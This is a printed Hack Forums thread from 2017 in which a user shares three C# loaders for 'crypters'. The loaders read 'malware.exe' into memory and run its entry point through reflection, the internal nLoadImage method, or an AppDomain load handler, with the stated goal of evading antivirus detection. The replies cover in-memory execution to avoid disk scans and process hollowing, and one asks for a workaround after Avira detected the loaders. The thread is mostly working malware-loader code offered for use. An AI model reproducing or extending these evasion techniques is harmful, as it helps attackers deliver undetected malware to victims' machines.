.NET [FUD YOUR CRYPTER] Assembly invocation alternatives

[.NET] [FUD YOUR CRYPTER] Assembly invocation alternatives - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [FUD YOUR CRYPTER] Assembly invocation alternatives (/showthread.php?tid=5581112)

Pages: Pages 1 2

[FUD YOUR CRYPTER] Assembly invocation alternatives - gigajew - Mar 21, 2017

Is your .NET crypter getting detected? Is it the old Assembly.Load and EntryPoint.Invoke calls? Man, I wish there were other ways to call them. Oh wait, there are! Here are some ways to invoke assemblies, without directly calling Assembly.Load (IL level, not memory level). Unless you are using a .NET compatible RunPE (ahem, Menalix), this could be useful for you.

Method one
Using reflection to call methods by string name.

Code 
using System;

using System.Diagnostics;

using System.Runtime.CompilerServices;

using System.Runtime.InteropServices;

using System.Security;

using System.Security.Permissions;

using System.IO;

using System.Reflection;

using System.Collections;

using System.Collections.Generic;

namespace pg1 {

    public static class Program {

        public static void Main() {

            var filename = "malware.exe";

            var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as Assembly;// or (Assembly)...

            Call(typeof(Program), "InvokeEntrypoint", assembly);

        }

        public static void InvokeEntrypoint(Assembly asm) {

            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}}); 

        }

        //Calls method using reflection, instead of directly

        public static object Call(Type space, string name, params object[] argv) {

            List<Type> ptyp = new List<Type>();

            foreach(var o in argv) {

                ptyp.Add(o.GetType());

            }

            var m = space.GetMethod(name, ptyp.ToArray());

            return m.Invoke(null, argv);

        }

    }

}

Method Two
Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)

(You may have to investigate the parameter usage for .NET 2.0 - 3.5, this works in .NET 4.0 afaik

Code 
using System;

using System.Diagnostics;

using System.Runtime.CompilerServices;

using System.Runtime.InteropServices;

using System.Security;

using System.Security.Permissions;

using System.IO;

using System.Reflection;

using System.Collections;

using System.Collections.Generic;

namespace pg1 {

    public static class Program {

        public static void Main() {

            /*

                Get the malware data

            */

            var data = System.IO.File.ReadAllBytes("malware.exe");

            /*

                Invoke the internal method _nLoad

            */

            var assembly = InternalLoad(data);

            /*

                Execute

            */

            InvokeEntrypoint(assembly);

        }

        public static Assembly InternalLoad(byte[] image) {

            return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false, null }) as Assembly;

        }

        public static void InvokeEntrypoint(Assembly asm) {

            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}}); 

        }

    }

}

Method three
Using the AppDomain.Load method

Code 
using System;

using System.Diagnostics;

using System.Runtime.CompilerServices;

using System.Runtime.InteropServices;

using System.Security;

using System.Security.Permissions;

using System.IO;

using System.Reflection;

using System.Collections;

using System.Collections.Generic;

namespace pg1 {

    public static class Program {

        public static void Main() {

            var data = System.IO.File.ReadAllBytes("malware.exe");

            SetupInvoker(); //call only once, invokes the entrypoint

            var assembly = AppDomainLoad(data);

        }

        public static void SetupInvoker() {

            AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender, AssemblyLoadEventArgs args) {

                InvokeEntrypoint(args.LoadedAssembly);

            };

        }

        public static Assembly AppDomainLoad(byte[] image) {

            return AppDomain.CurrentDomain.Load(image);

        }

        public static void InvokeEntrypoint(Assembly asm) {

            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}}); 

        }

    }

}

There are some more ways to do this, and I may post them here later. Thanks for reading.

* - Zilog80 - Mar 21, 2017

Maybe the most stupid question ever:
If you want to execute "malware.exe", what is wrong using:?

Code 
Process.Start("malware.exe")

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5

* - gigajew - Mar 21, 2017

(Mar 21, 2017 03:20 PM)Zilog80 Wrote: Maybe the most stupid question ever:
If you want to execute "malware.exe", what is wrong using:?

Code
Process.Start("malware.exe")

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5

By keeping the file in memory you won't have the malware detected by writing it to the disk

* - Mustys - Mar 22, 2017

Nice guide for those who have this problem, keep it up!

* - ONURIS - Mar 23, 2017

nice codes , may help some mates

* - ＪＵＳＴＩＮ - Mar 23, 2017

(Mar 21, 2017 07:12 PM)gigajew Wrote: By keeping the file in memory you won't have the malware detected by writing it to the disk

How is it being executed in memory...? Where does it get the assembly to execute from?

* - gigajew - Mar 23, 2017

(Mar 23, 2017 11:57 AM)ＪＵＳＴＩＮ Wrote: How is it being executed in memory...? Where does it get the assembly to execute from?

From a byte array containing the data, retrieved from (for example) native or managed resources

* - ＪＵＳＴＩＮ - Mar 23, 2017

(Mar 23, 2017 12:59 PM)gigajew Wrote: From a byte array containing the data, retrieved from (for example) native or managed resources

Oh that's really interesting, thanks for the info. Been curious about that for a while. Might play around with it.

* - n0$f3ratu$ - Mar 24, 2017

(Mar 21, 2017 07:12 PM)gigajew Wrote: By keeping the file in memory you won't have the malware detected by writing it to the disk

Ohhh dude, you are so damn wrong!!!
Stop telling peoples shit like this.

* - Cecilia - Mar 24, 2017

(Mar 24, 2017 03:37 AM)n0$f3ratu$ Wrote: Ohhh dude, you are so damn wrong!!!
Stop telling peoples shit like this.

Hmm, I wonder what that elusive thing is called... that's right,
Memory scanning!

* - gigajew - Mar 24, 2017

(Mar 24, 2017 03:37 AM)n0$f3ratu$ Wrote: Ohhh dude, you are so damn wrong!!!
Stop telling peoples shit like this.

Read it again. I'm not saying payload in memory is undetected, I'm saying the payload won't be detected from writing it to the disk, which it then won't and which it then can't

Take your thumb out of your ass and put on some reading glasses

* - Mr. Kim - Mar 24, 2017

Nice info <3

Any useful Win32 functions for process hollowing you know of? Or anyone for that matter, I'm trying to work on a crypter without .net dependencies.

* - gigajew - Mar 24, 2017

(Mar 24, 2017 07:18 PM)M3MORY Wrote: Nice info <3

Any useful Win32 functions for process hollowing you know of? Or anyone for that matter, I'm trying to work on a crypter without .net dependencies.

So are you writing it in c/c++?

* - Mr. Kim - Mar 24, 2017

(Mar 24, 2017 07:21 PM)gigajew Wrote: So are you writing it in c/c++?

C++

* - TaySoft - Aug 10, 2017

All 3 Methods are detected as TR/DROPER.MSIL.GEN (AVIRA)

Won't be detected if i ONLY write down the payload on disk without invoking the payload.
But as soon as i try to invoke that written down payload (or even without writing/reading, just loading in a variable of encr. payload) in memory using one of your 3 methods, it still instantly gets detected.

Tested all 3 of your provided methods and all of them got detected.
Was is really FUD as you claimed to be on your thread title? Can't believe i missed the train by a couple of months then ugh :(

Any workaround here?